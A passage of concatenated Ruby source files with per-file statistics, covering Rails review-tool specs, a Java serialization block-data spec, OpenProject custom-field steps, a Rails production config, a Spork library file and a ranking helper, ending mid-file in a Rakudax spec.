content = <<-EOF
class Post < ActiveRecord::Base
def old; end
alias_method :new, :old
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def show
@post.new
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method with alias_method_chain' do
content = <<-EOF
class Post < ActiveRecord::Base
def method_with_feature; end
alias_method_chain :method, :feature
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def show
@post.method
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
end
context 'methods hash' do
it 'should not remove unused method with methods hash' do
content = <<-EOF
class Post < ActiveRecord::Base
def to_xml(options = {})
super options.merge(exclude: :visible, methods: [:is_discussion_conversation])
end
def is_discussion_conversation; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
end
context 'callbacks' do
it 'should not remove unused method' do
content = <<-EOF
class Post < ActiveRecord::Base
before_save :init_columns
after_destroy :remove_dependencies
protected
def init_columns; end
def remove_dependencies; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
end
context 'validates' do
it 'should not remove unused method' do
content = <<-EOF
class Post < ActiveRecord::Base
validate :valid_birth_date
protected
def valid_birth_date; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method for validate_on_create and validate_on_update' do
content = <<-EOF
class Post < ActiveRecord::Base
validate_on_create :valid_email
validate_on_update :valid_birth_date
protected
def valid_email; end
def valid_birth_date; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused methods for to_param' do
content = <<-EOF
class Post < ActiveRecord::Base
def to_param
id
end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
end
context 'helper method' do
it 'should not remove unused method for coommand_call collection_select' do
content = <<-EOF
class Category < ActiveRecord::Base
def indented_name; end
end
EOF
runner.prepare('app/models/category.rb', content)
runner.review('app/models/category.rb', content)
content = <<-EOF
<%= f.collection_select :parent_id, Category.all_hierarchic(except: @category), :id, :indented_name, {include_blank: true} %>
EOF
runner.review('app/views/categories/_form.html.erb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method for command collection_select' do
content = <<-EOF
class Category < ActiveRecord::Base
def indented_name; end
end
EOF
runner.prepare('app/models/category.rb', content)
runner.review('app/models/category.rb', content)
content = <<-EOF
<%= collection_select :category, :parent_id, Category.all_hierarchic(except: @category), :id, :indented_name, {include_blank: true} %>
EOF
runner.review('app/views/categories/_form.html.erb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not remove unused method for options_from_collection_for_select' do
content = <<-EOF
class Category < ActiveRecord::Base
def indented_name; end
end
EOF
runner.prepare('app/models/category.rb', content)
runner.review('app/models/category.rb', content)
content = <<-EOF
<%= select_tag 'category', options_from_collection_for_select(Category.all_hierachic(except: @category), :id, :indented_name) %>
EOF
runner.review('app/views/categories/_form.html.erb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
end
it 'should not remove unused methods for rabl view' do
content = <<-EOF
class User
def first_name; end
def last_name; end
end
EOF
runner.prepare('app/models/user.rb', content)
runner.review('app/models/user.rb', content)
content = <<-EOF
node :full_name do |u|
u.first_name + " " + u.last_name
end
EOF
runner.review('app/views/users/show.json.rabl', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
it 'should not skip :call as call message' do
content = <<-EOF
module DateRange
RANGES = lambda {
last_month = {
'range' => lambda { [date_from_time.(31.days.ago), date_from_time.(Time.now)] },
'value' => 'last_month',
'label' => 'Last month'}
}[]
end
EOF
runner.prepare('app/mixins/date_range.rb', content)
runner.review('app/mixins/date_range.rb', content)
end
it 'should not check ignored files' do
runner = Core::Runner.new(prepares: Prepares::ModelPrepare.new,
reviews: RemoveUnusedMethodsInModelsReview.new(except_methods: [], ignored_files: /post/))
content = <<-EOF
class Post < ActiveRecord::Base
def find; end
private
def find_by_sql; end
end
EOF
runner.prepare('app/models/post.rb', content)
runner.review('app/models/post.rb', content)
content = <<-EOF
class PostsController < ApplicationController
def get
Post.new.find
end
end
EOF
runner.review('app/controllers/posts_controller.rb', content)
runner.after_review
expect(runner.errors.size).to eq(0)
end
end
end
end
| 32.585366
| 144
| 0.551106
|
28a72ece9a5235ecbe5600bd2f24e8e21825d98d
| 3,221
|
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'stringio'
RSpec.describe Rex::Java::Serialization::Model::BlockDataLong do
subject(:block) do
described_class.new
end
let(:sample_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" }
let(:sample_block_io) { StringIO.new(sample_block) }
let(:empty_block) { "\x00\x00\x00\x00" }
let(:empty_block_io) { StringIO.new(empty_block) }
let(:incomplete_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05" }
let(:incomplete_block_io) { StringIO.new(incomplete_block) }
let(:empty_io) { StringIO.new('') }
describe ".new" do
it "Rex::Java::Serialization::Model::BlockDataLong" do
expect(block).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
end
it "initializes length to 0" do
expect(block.length).to eq(0)
end
it "initializes contents with empty string" do
expect(block.contents).to be_empty
end
end
describe "#encode" do
context "when empty block" do
it { expect(block.encode).to eq(empty_block) }
end
context "when filled block" do
it do
block.length = 16
block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
expect(block.encode).to eq(sample_block)
end
end
end
describe "#decode" do
context "when stream contains empty string" do
it "returns nil" do
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains empty block" do
it "returns a Rex::Java::Serialization::Model::BlockDataLong" do
expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
end
it "sets length to 0" do
block.decode(empty_block_io)
expect(block.length).to eq(0)
end
it "sets contents to empty string" do
block.decode(empty_block_io)
expect(block.contents).to be_empty
end
end
context "when stream contains incomplete block" do
it "returns nil" do
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
end
end
context "when stream contains correct block" do
it "returns a Rex::Java::Serialization::Model::BlockDataLong" do
expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
end
it "sets length to 0" do
block.decode(sample_block_io)
expect(block.length).to eq(16)
end
it "sets contents to sample string" do
block.decode(sample_block_io)
expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10")
end
end
describe "#to_s" do
it "prints a block with contents" do
block.decode(sample_block_io)
expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]')
end
it "prints an empty string for an empty block" do
block.decode(empty_block_io)
expect(block.to_s).to eq('[ ]')
end
end
end
end
| 30.102804
| 119
| 0.654766
|
e989698f2647e14364c3f834c823ea6ea37b2f36
| 3,617
|
#-- copyright
# OpenProject is a project management system.
# Copyright (C) 2012-2013 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See doc/COPYRIGHT.rdoc for more details.
#++
[CustomField, WorkPackageCustomField].each do |const|
InstanceFinder.register(const, Proc.new{ |name| const.find_by_name(name) })
RouteMap.register(const, "/custom_fields")
end
Given /^the following (user|issue|work package) custom fields are defined:$/ do |type, table|
type = (type.gsub(" ", "_") + "_custom_field").to_sym
as_admin do
table.hashes.each_with_index do |r, i|
attr_hash = { :name => r['name'],
:field_format => r['type']}
attr_hash[:possible_values] = r['possible_values'].split(",").collect(&:strip) if r['possible_values']
attr_hash[:is_required] = (r[:required] == 'true') if r[:required]
attr_hash[:editable] = (r[:editable] == 'true') if r[:editable]
attr_hash[:visible] = (r[:visible] == 'true') if r[:visible]
attr_hash[:is_filter] = (r[:is_filter] == 'true') if r[:is_filter]
attr_hash[:default_value] = r[:default_value] ? r[:default_value] : nil
attr_hash[:is_for_all] = r[:is_for_all] || true
FactoryGirl.create type, attr_hash
end
end
end
Given /^the user "(.+?)" has the user custom field "(.+?)" set to "(.+?)"$/ do |login, field_name, value|
user = User.find_by_login(login)
custom_field = UserCustomField.find_by_name(field_name)
user.custom_values.build(:custom_field => custom_field, :value => value)
user.save!
end
Given /^the work package "(.+?)" has the custom field "(.+?)" set to "(.+?)"$/ do |wp_name, field_name, value|
wp = InstanceFinder.find(WorkPackage, wp_name)
custom_field = InstanceFinder.find(WorkPackageCustomField, field_name)
wp.custom_values.build(:custom_field => custom_field, :value => value)
wp.save!
end
Given /^the custom field "(.+)" is( not)? summable$/ do |field_name, negative|
custom_field = WorkPackageCustomField.find_by_name(field_name)
Setting.work_package_list_summable_columns = negative ?
Setting.work_package_list_summable_columns - ["cf_#{custom_field.id}"] :
Setting.work_package_list_summable_columns << "cf_#{custom_field.id}"
end
Given /^the custom field "(.*?)" is activated for type "(.*?)"$/ do |field_name, type_name|
custom_field = WorkPackageCustomField.find_by_name(field_name)
type = Type.find_by_name(type_name)
custom_field.types << type
end
Given /^there are no custom fields$/ do
CustomField.destroy_all
end
| 41.102273
| 114
| 0.699198
|
08eee6baec08acbe93ae5daa8ed2ab86533c9e26
| 2,274
|
if defined?(StatiaGov::Application)
StatiaGov::Application.configure do
# Settings specified here will take precedence over those in config/application.rb
config.eager_load = true
# Code is not reloaded between requests
config.cache_classes = true
# Full error reports are enabled, since this is an internal application.
config.consider_all_requests_local = false
# Caching is turned on
config.action_controller.perform_caching = true
# Disable Rails's static asset server (Apache or nginx will already do this)
config.serve_static_files = true
# Compress JavaScripts and CSS
config.assets.compress = true
# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false
# Generate digests for assets URLs
config.assets.digest = true
# Defaults to Rails.root.join("public/assets")
# config.assets.manifest = YOUR_PATH
# Specifies the header that your server uses for sending files
# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# See everything in the log (default is :info)
config.log_level = :info
# Use a different logger for distributed setups
# config.logger = SyslogLogger.new
# Use a different cache store in production
# config.cache_store = :mem_cache_store
# Enable serving of images, stylesheets, and JavaScripts from an asset server
# config.action_controller.asset_host = "http://assets.example.com"
# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile += %w( search.js )
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation can not be found)
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners
config.active_support.deprecation = :notify
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
end
end
| 36.095238
| 106
| 0.73263
|
790c23d00b35dafdb45e76ae77ed73f38fda3ecb
| 6,342
|
#-- encoding: UTF-8
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2020 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
require 'spec_helper'
describe SCM::CheckoutInstructionsService do
let(:user) { FactoryBot.build(:user) }
let(:project) { FactoryBot.build(:project) }
let(:url) { 'file:///tmp/some/svn/repo' }
let(:repository) do
FactoryBot.build(:repository_subversion,
url: url,
project: project)
end
let(:base_url) { 'http://example.org/svn/' }
let(:path) { nil }
let(:text) { 'foo' }
let(:checkout_hash) do
{
'git' => { 'enabled' => '0' },
'subversion' => { 'enabled' => '1',
'text' => text,
'base_url' => base_url }
}
end
subject(:service) { SCM::CheckoutInstructionsService.new(repository, user: user, path: path) }
before do
allow(Setting).to receive(:repository_checkout_data).and_return(checkout_hash)
end
describe '#checkout_url' do
shared_examples 'builds the correct URL' do
it 'builds the correct URL' do
expect(service.checkout_url)
.to eq(URI("http://example.org/svn/#{project.identifier}"))
end
shared_examples 'valid checkout URL' do
it do
expect(service.checkout_url(path))
.to eq(URI("http://example.org/svn/#{project.identifier}/#{expected_path}"))
end
end
it_behaves_like 'valid checkout URL' do
let(:path) { 'foo/bar' }
let(:expected_path) { path }
end
it_behaves_like 'valid checkout URL' do
let(:path) { 'foo/bar with spaces' }
let(:expected_path) { 'foo/bar%20with%20spaces' }
end
it_behaves_like 'valid checkout URL' do
let(:path) { 'foo/bar with §\"!??```' }
let(:expected_path) { 'foo/%C2%A7%22!??%60%60%60' }
end
end
end
describe '#checkout_command' do
it 'returns the SCM vendor command' do
expect(service.checkout_command).to eq('svn checkout')
end
end
describe '#instructions' do
it 'returns the setting when defined' do
expect(service.instructions).to eq('foo')
end
context 'no setting defined' do
let(:text) { nil }
it 'returns the default translated instructions' do
expect(service.instructions)
.to eq(I18n.t('repositories.checkout.default_instructions.subversion'))
end
end
end
describe '#settings' do
it 'svn is available for checkout' do
expect(service.available?).to be true
expect(service.checkout_enabled?).to be true
end
it 'has the correct settings' do
expect(Setting.repository_checkout_data['subversion']['enabled']).to eq('1')
expect(service.instructions).to eq('foo')
expect(service.checkout_base_url).to eq(base_url)
end
context 'missing checkout base URL' do
let(:base_url) { '' }
it 'is not available for checkout even when enabled' do
expect(service.checkout_base_url).to eq(base_url)
expect(service.checkout_enabled?).to be true
expect(service.available?).to be false
end
end
context 'disabled repository' do
let(:repository) { FactoryBot.build(:repository_git) }
it 'git is not available for checkout' do
expect(service.available?).to be false
expect(service.checkout_enabled?).to be false
end
end
end
describe '#permission' do
context 'with no managed repository' do
it 'is not applicable' do
expect(service.manages_permissions?).to be false
end
end
context 'with managed repository' do
before do
allow(repository).to receive(:managed?).and_return(true)
end
it 'is applicable' do
expect(service.manages_permissions?).to be true
end
it 'returns the correct permissions' do
expect(user)
.to receive(:allowed_to?).with(:commit_access, any_args)
.and_return(true, false, false)
expect(user)
.to receive(:allowed_to?).with(:browse_repository, any_args)
.and_return(true, false)
expect(service.permission).to eq(:readwrite)
expect(service.permission).to eq(:read)
expect(service.permission).to eq(:none)
end
it 'returns the correct permissions for commit access' do
allow(user)
.to receive(:allowed_to?).with(:commit_access, any_args)
.and_return(true)
expect(service.may_commit?).to be true
expect(service.may_checkout?).to be true
end
it 'returns the correct permissions for read access' do
allow(user)
.to receive(:allowed_to?).with(:commit_access, any_args)
.and_return(false)
allow(user)
.to receive(:allowed_to?).with(:browse_repository, any_args)
.and_return(true)
expect(service.may_commit?).to be false
expect(service.may_checkout?).to be true
end
it 'returns the correct permissions for no access' do
allow(user).to receive(:allowed_to?).and_return(false)
expect(service.may_commit?).to be false
expect(service.may_checkout?).to be false
end
end
end
end
| 30.936585
| 96
| 0.650426
|
1a4dc5fa98a9351a4774041037a660860c86eb6c
| 326
|
class Diskwave < Cask
version '0.4.0'
sha256 '976324e46e4ca4d54240de13cf2c6f0db9afdb703b0e6ef78e2b5b5d36d63e75'
url 'http://diskwave.barthe.ph/download/DiskWave_0.4.dmg'
appcast 'http://diskwave.barthe.ph/sparkle/appcast_64bit.php'
homepage 'http://diskwave.barthe.ph/'
license :unknown
app 'DiskWave.app'
end
| 27.166667
| 75
| 0.769939
|
abf9facfcdce06e700dbb6441985f060489cf3dc
| 5,373
|
$LOAD_PATH.unshift(File.expand_path(File.dirname(__FILE__))) unless $LOAD_PATH.include?(File.expand_path(File.dirname(__FILE__)))
require 'pathname'
module Spork
BINARY = File.expand_path(File.dirname(__FILE__) + '/../bin/spork')
LIBDIR = Pathname.new(File.expand_path(File.dirname(__FILE__)))
autoload :Server, (LIBDIR + 'spork/server').to_s
autoload :TestFramework, (LIBDIR + 'spork/test_framework').to_s
autoload :AppFramework, (LIBDIR + 'spork/app_framework').to_s
autoload :RunStrategy, (LIBDIR + 'spork/run_strategy').to_s
autoload :Runner, (LIBDIR + 'spork/runner').to_s
autoload :Forker, (LIBDIR + 'spork/forker').to_s
autoload :Diagnoser, (LIBDIR + 'spork/diagnoser').to_s
class << self
# Run a block, during prefork mode. By default, if prefork is called twice in the same file and line number, the supplied block will only be ran once.
#
# == Parameters
#
# * +prevent_double_run+ - Pass false to disable double run prevention
def prefork(prevent_double_run = true, &block)
return if prevent_double_run && already_ran?(caller.first)
yield
end
# Run a block AFTER the fork occurs. By default, if prefork is called twice in the same file and line number, the supplied block will only be ran once.
#
# == Parameters
#
# * +prevent_double_run+ - Pass false to disable double run prevention
def each_run(prevent_double_run = true, &block)
return if prevent_double_run && already_ran?(caller.first)
if @state == :using_spork
each_run_procs << block
else
yield
end
end
# Run a block after specs are run.
#
# == Parameters
#
# * +prevent_double_run+ - Pass false to disable double run prevention
def after_each_run(prevent_double_run = true, &block)
return if prevent_double_run && already_ran?(caller.first)
after_each_run_procs << block
end
# Used by the server. Sets the state to activate spork. Otherwise, prefork and each_run are run in passive mode, allowing specs without a Spork server.
def using_spork!
@state = :using_spork
end
def using_spork?
@state == :using_spork
end
# Used by the server. Returns the current state of Spork.
def state
@state ||= :not_using_spork
end
# Used by the server. Called when loading the prefork blocks of the code.
def exec_prefork(&block)
using_spork!
yield
end
# Used by the server. Called to run all of the prefork blocks.
def exec_each_run(&block)
activate_after_each_run_at_exit_hook
each_run_procs.each { |p| p.call }
each_run_procs.clear
yield if block_given?
end
# Used by the server. Called to run all of the after_each_run blocks.
def exec_after_each_run
# processes in reverse order similar to at_exit
while p = after_each_run_procs.pop; p.call; end
true
end
# Traps an instance method of a class (or module) so any calls to it don't actually run until Spork.exec_each_run
def trap_method(klass, method_name)
method_name_without_spork, method_name_with_spork = alias_method_names(method_name, :spork)
klass.class_eval <<-EOF, __FILE__, __LINE__ + 1
alias :#{method_name_without_spork} :#{method_name} unless method_defined?(:#{method_name_without_spork})
def #{method_name}(*args)
Spork.each_run(false) do
#{method_name_without_spork}(*args)
end
end
EOF
end
# Same as trap_method, but for class methods instead
def trap_class_method(klass, method_name)
trap_method((class << klass; self; end), method_name)
end
def detect_and_require(subfolder)
([LIBDIR.to_s] + other_spork_gem_load_paths).uniq.each do |gem_path|
Dir.glob(File.join(gem_path, subfolder)).each { |file| require file }
end
end
def other_spork_gem_load_paths
@other_spork_gem_load_paths ||= (
Gem.latest_load_paths.grep(/spork/).select do |g|
not g.match(%r{/spork-[0-9\-.]+/lib}) # don't include other versions of spork
end
)
end
private
def activate_after_each_run_at_exit_hook
Kernel.module_eval do
def at_exit(&block)
Spork.after_each_run(false, &block)
end
end
end
def alias_method_names(method_name, feature)
/^(.+?)([\?\!]{0,1})$/.match(method_name.to_s)
["#{$1}_without_spork#{$2}", "#{$1}_with_spork#{$2}"]
end
def already_ran
@already_ran ||= []
end
def expanded_caller(caller_line)
file, line = caller_line.split(/:(\d+)/)
line.gsub(/:.+/, '')
expanded = File.expand_path(file, Dir.pwd) + ":" + line
if ENV['OS'] == 'Windows_NT' # windows
expanded = expanded[2..-1]
end
expanded
end
def already_ran?(caller_script_and_line)
return true if already_ran.include?(expanded_caller(caller_script_and_line))
already_ran << expanded_caller(caller_script_and_line)
false
end
def each_run_procs
@each_run_procs ||= []
end
def after_each_run_procs
@after_each_run_procs ||= []
end
end
end
| 33.372671
| 156
| 0.645449
|
4a37cdedc9c3164823d596421485690474b72879
| 2,914
|
# encoding: utf-8
require 'spec_helper'
describe Function::Predicate::LessThan, '#optimize' do
subject { object.optimize }
let(:attribute) { Attribute::Integer.new(:id, required: false, size: 1..2**31 - 1) }
let(:left) { attribute }
let(:right) { attribute }
let(:object) { described_class.new(left, right) }
context 'left and right are attributes' do
context 'and equivalent' do
it { should be(Function::Proposition::Contradiction.instance) }
it_should_behave_like 'an optimize method'
end
context 'and are not comparable' do
let(:right) { Attribute::Float.new(:float) }
it { should be(Function::Proposition::Contradiction.instance) }
it_should_behave_like 'an optimize method'
end
context 'and left is always less than right' do
let(:left) { attribute }
let(:right) { Attribute::Integer.new(:right, size: 2**31..2**31) }
it { should be(Function::Proposition::Tautology.instance) }
it_should_behave_like 'an optimize method'
end
context 'and left is always greater than or equal to right' do
let(:left) { attribute }
let(:right) { Attribute::Integer.new(:right, size: 0..0) }
it { should be(Function::Proposition::Contradiction.instance) }
it_should_behave_like 'an optimize method'
end
end
context 'left is an attribute' do
context 'right is a valid value' do
let(:right) { 2 }
it { should be(object) }
it_should_behave_like 'an optimize method'
end
context 'right is an invalid primitive' do
let(:right) { nil }
it { should be(Function::Proposition::Contradiction.instance) }
it_should_behave_like 'an optimize method'
end
end
context 'right is an attribute' do
context 'left is a valid value' do
let(:left) { 1 }
it { should eql(Function::Predicate::GreaterThan.new(attribute, 1)) }
it_should_behave_like 'an optimize method'
end
context 'left is an invalid primitive' do
let(:left) { nil }
it { should be(Function::Proposition::Contradiction.instance) }
it_should_behave_like 'an optimize method'
end
end
context 'left and right are constants' do
context 'that will evaluate to a tautology' do
let(:left) { 1 }
let(:right) { 2 }
it { should be(Function::Proposition::Tautology.instance) }
it_should_behave_like 'an optimize method'
end
context 'that will evaluate to a contradiction' do
let(:left) { 1 }
let(:right) { 1 }
it { should be(Function::Proposition::Contradiction.instance) }
it_should_behave_like 'an optimize method'
end
end
end
| 28.291262
| 86
| 0.604324
|
085333287bbd891a8dbfb8284a0f97cddfaaf2bb
| 41
|
class GuoGuoLog < ActiveRecord::Base
end
| 13.666667
| 36
| 0.804878
|
38edcc9742f115e1caba52b62efa1b2127014195
| 567
|
cask 'nosleep' do
version '1.4.0'
sha256 '29e7f771970dce41936372687a5160700e2208357ef1ce37d81ac95c9188efe8'
url "https://github.com/integralpro/nosleep/releases/download/v#{version}/NoSleep-#{version}.dmg"
appcast 'https://github.com/integralpro/nosleep/releases.atom',
checkpoint: '1eaf1f3d98aa20ecf03d10f96c4558a916651c46138d80cf86b5f8afe56c5b43'
name 'NoSleep'
homepage 'https://integralpro.github.io/nosleep/'
license :gpl
pkg 'NoSleep.pkg'
uninstall script: 'Uninstall.command',
pkgutil: 'com.protech.pkg.NoSleep'
end
| 33.352941
| 99
| 0.75485
|
08d617219d0251ecd1e0e08e5981893346734017
| 1,460
|
def llvm_configure
case Rubinius::BUILD_CONFIG[:llvm]
when :svn, :prebuilt
"vendor/llvm/Release/bin/llvm-config"
when :config
Rubinius::BUILD_CONFIG[:llvm_configure]
else
raise "Tried to use LLVM unconfigure!"
end
end
def build_perl
Rubinius::BUILD_CONFIG[:build_perl]
end
def llvm_flags
return [] unless LLVM_ENABLE
return @llvm_flags if defined?(@llvm_flags)
case Rubinius::BUILD_CONFIG[:llvm]
when :svn, :prebuilt
@llvm_flags = ["-Ivendor/llvm/include"]
else
@llvm_flags = []
end
@llvm_flags += `#{build_perl} #{llvm_configure} --cflags`.split(/\s+/)
@llvm_flags.delete_if { |e| e.index("-O") == 0 }
@llvm_flags
end
def llvm_link_flags
return "" unless LLVM_ENABLE
flags = `#{build_perl} #{llvm_configure} --ldflags`.strip
flags.sub!(%r[-L/([a-zA-Z])/], '-L\1:/') if Rubinius::BUILD_CONFIG[:windows]
flags
end
def llvm_lib_files
return [] unless LLVM_ENABLE
files = `#{build_perl} #{llvm_configure} --libfiles`.split(/\s+/)
files.select do |f|
f.sub!(%r[^/([a-zA-Z])/], '\1:/') if Rubinius::BUILD_CONFIG[:windows]
File.file? f
end
end
def llvm_version
`#{build_perl} #{llvm_configure} --version`.strip
end
def host_triple
Rubinius::BUILD_CONFIG[:host]
end
def gcc_major_version
`#{$CC} -dumpversion`.strip.split(".")[0,2].join(".")
end
def llvm_config_flags
"--build=#{host_triple} --host=#{host_triple} " \
"--enable-optimized --enable-targets=host,cpp"
end
| 21.470588
| 78
| 0.676712
|
ffa0b0ad55d2266029fe2d79b04fbc4d73bc92c3
| 1,462
|
require 'test_helper'
class UsersIndexTest < ActionDispatch::IntegrationTest
def setup
@admin = users(:michael)
@non_admin = users(:archer)
end
test "index as admin including pagination and delete links" do
log_in_as(@admin)
get users_path
assert_template 'users/index'
assert_select 'div.pagination'
first_page_of_users = User.paginate(page: 1)
first_page_of_users.each do |user|
assert_select 'a[href=?]', user_path(user), text: user.name
unless user == @admin
assert_select 'a[href=?]', user_path(user), text: 'delete'
end
end
assert_difference 'User.count', -1 do
delete user_path(@non_admin)
end
end
test "index as non-admin" do
log_in_as(@non_admin)
get users_path
assert_select 'a', text: 'delete', count: 0
end
# test "index including pagination" do
# log_in_as(@user)
# get users_path
# assert_template 'users/index'
# assert_select 'div.pagination'
# User.paginate(page: 1).each do |user|
# assert_select 'a[href=?]', user_path(user), text: user.name
# end
# end
# test "index including pagination" do
# log_in_as(@user)
# get users_path
# assert_template 'users/index'
# assert_select 'div.pagination'
# User.paginate(page: 1).each do |user|
# assert_select 'a[href=?]', user_path(user), text: user.name
# end
# end
# test "the truth" do
# assert true
# end
end
| 26.107143
| 67
| 0.651847
|
7aa14e7c053796c34f2e0274e1ec3d0dbe223025
| 1,980
|
# frozen_string_literal: true
class StandardCompetitionRanking
def initialize(data, options = {})
@data = data
@options = options.reverse_merge(sort_direction: :desc, set: :position)
end
def sort_data
return if @options[:sort_direction].nil? || (@options[:sort_direction] == false)
if @options[:dealbreaker].nil?
case @options[:sort_direction]
when :desc then @data.sort! { |a, b| b.send(@options[:rank_by]) <=> a.send(@options[:rank_by]) }
when :asc then @data.sort! { |a, b| a.send(@options[:rank_by]) <=> b.send(@options[:rank_by]) }
else raise ArgumentError, "Sort direction can only be :asc or :desc"
end
else
case @options[:sort_direction]
when :desc then @data.sort! { |a, b| [b.send(@options[:rank_by]), b.send(@options[:dealbreaker])] <=> [a.send(@options[:rank_by]), a.send(@options[:dealbreaker])] }
when :asc then @data.sort! { |a, b| [a.send(@options[:rank_by]), a.send(@options[:dealbreaker])] <=> [b.send(@options[:rank_by]), b.send(@options[:dealbreaker])] }
else raise ArgumentError, "Sort direction can only be :asc or :desc"
end
end
end
def calculate
return @rankings if @rankings
@rankings = []
sort_data
@data.each_with_index do |data, i|
if i == 0
data.send("#{@options[:set]}=", 1)
elsif data.send(@options[:rank_by]) == @data[i - 1].send(@options[:rank_by])
if @options[:dealbreaker].nil?
data.send("#{@options[:set]}=", @rankings[i - 1].send(@options[:set]))
else
if data.send(@options[:dealbreaker]) == @data[i - 1].send(@options[:dealbreaker])
data.send("#{@options[:set]}=", @rankings[i - 1].send(@options[:set]))
else
data.send("#{@options[:set]}=", i + 1)
@rankings[i] = data
end
end
else
data.send("#{@options[:set]}=", i + 1)
end
@rankings[i] = data
end
@rankings
end
end
| 34.736842
| 170
| 0.586869
|
1cd787786cf26a917a88bc262cb698c216d2e543
| 323
|
class CreateComments < ActiveRecord::Migration
def change
create_table :comments do |t|
t.references :user, index: true, foreign_key: true, null: false
t.references :character, index: true, foreign_key: true, null: false
t.string :body, null: false
t.timestamps null: false
end
end
end
| 26.916667
| 74
| 0.687307
|
e2d25d3cfc6e1660e906dee30cc9ec4af12e0627
| 341
|
module Matestack
module Ui
module VueJs
module Components
module Collection
class Next < Matestack::Ui::Component
def response
a options.merge('v-on:click': 'vc.next()') do
yield
end
end
end
end
end
end
end
end
| 17.05
| 59
| 0.480938
|
18b615b32e2ecbe339e61c4c745acc12b746760f
| 5,926
|
require 'spec_helper'
describe Rakudax do
it 'has a version number' do
expect(Rakudax::VERSION).not_to be nil
end
#self.root
it 'Base.root is working directory' do
expect(Rakudax::Base.root).to eq(Pathname.pwd)
end
#self.exit_with_message(code, usage=false, msg=nil)
it 'Base.exit_with_message is work fine' do
[-1, 0, 1, 2].each do |code|
[false, true].each do |usage|
[nil, "message"].each do |msg|
begin
expect(STDOUT).to receive(:puts).with(Rakudax::Base::USAGE) if usage == true
expect(STDOUT).to receive(:puts).with(msg) unless msg.nil?
Rakudax::Base.exit_with_message code, usage, msg
rescue SystemExit => ex
expect(ex.status).to eq code
else
expect(true).to eq false
end
end
end
end
end
